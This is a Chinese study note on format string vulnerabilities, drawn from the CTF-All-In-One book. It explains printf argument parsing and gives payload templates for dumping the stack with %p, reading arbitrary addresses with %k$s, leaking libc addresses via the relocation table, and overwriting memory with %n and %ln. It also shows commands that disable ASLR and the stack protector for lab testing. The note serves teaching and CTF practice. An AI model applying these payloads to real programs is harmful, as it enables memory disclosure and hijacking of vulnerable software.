格式化字符串漏洞

本文为CTFALLINONE3.3.1前3节内容的笔记整理与理解 如有错误欢迎指正

格式化字符串漏洞基本原理 根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压 栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果 字符不是 % ,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的 参数并解析输出。(注意: % d 和 %d 是一样的) 示例代码: 格式化字符串漏洞利用 1.使程序崩溃 2.查看任意栈内容 这个就比较有用了

	# echo 0 > /proc/sys/kernel/randomize_va_space
	$ gcc -m32 -fno-stack-protector -no-pie fmt.c

	我们可以输入很多个%p来将栈上的内容显示
	python2 -c 'print("%08p"*20)' | ./a.out
	上面的方法都是依次获得栈中的参数,如果我们想要直接获得第n个参数的某个参数
	可以使用
	%n$x
3.查看任意地址的内存
	这个地址我们作为参数传入,然后找到我们传入参数后对应我们输入的那个地址再查看其所指向的内容
	例如
	1st:	"AAAA"+".%p"*20作为输入
	2ed:	假设通过gdb查看到AAAA为输出的第k个字符
	3th:	"<想要查看的地址>"+"%k$s"作为输入
	4th:	输出结果第5字节开始便为内容

	进阶用法:
	1st:	readelf -r a.out	得到重定位表
	2ed:	将某个函数重定位入口作为要查看的地址//选均为可见字符的
	3th:	得到的内容即为重定位后的位置
	4th:	根据函数在 libc 中的相对位置,计算出我们需要的函数地址
4.覆盖栈内容
	可以查可以改
	so 怎么做呢
	%n就起作用了
	可以这样构造:
	<an address>%08x%08x%0<希望充填的num-8-8-4>d%t$n
	这样就可以把address用num充填


	进阶用法:
	构造:
	"ABCD..."+%<address为第几个输出>$n"ABCS"+<an address>
	这样就可以充填进去任何数而不必担心上面方法的一个问题
	最小充填值为4

	再次进阶:
	利用长度修饰符来更改写入的值的大小:

	例如我们需要覆盖掉4字节
	"A..."+%<address为第几个输出>$n+"A..."+<an address>
	8字节:
	"A..."+%<address为第几个输出>$ln+"A..."+<an address>
	<--!这里的A...用于使输入对齐--> ![](/xiushi.png) 通过格式化字符串漏洞可以泄露我们想要的函数的地址 读写任意栈中内容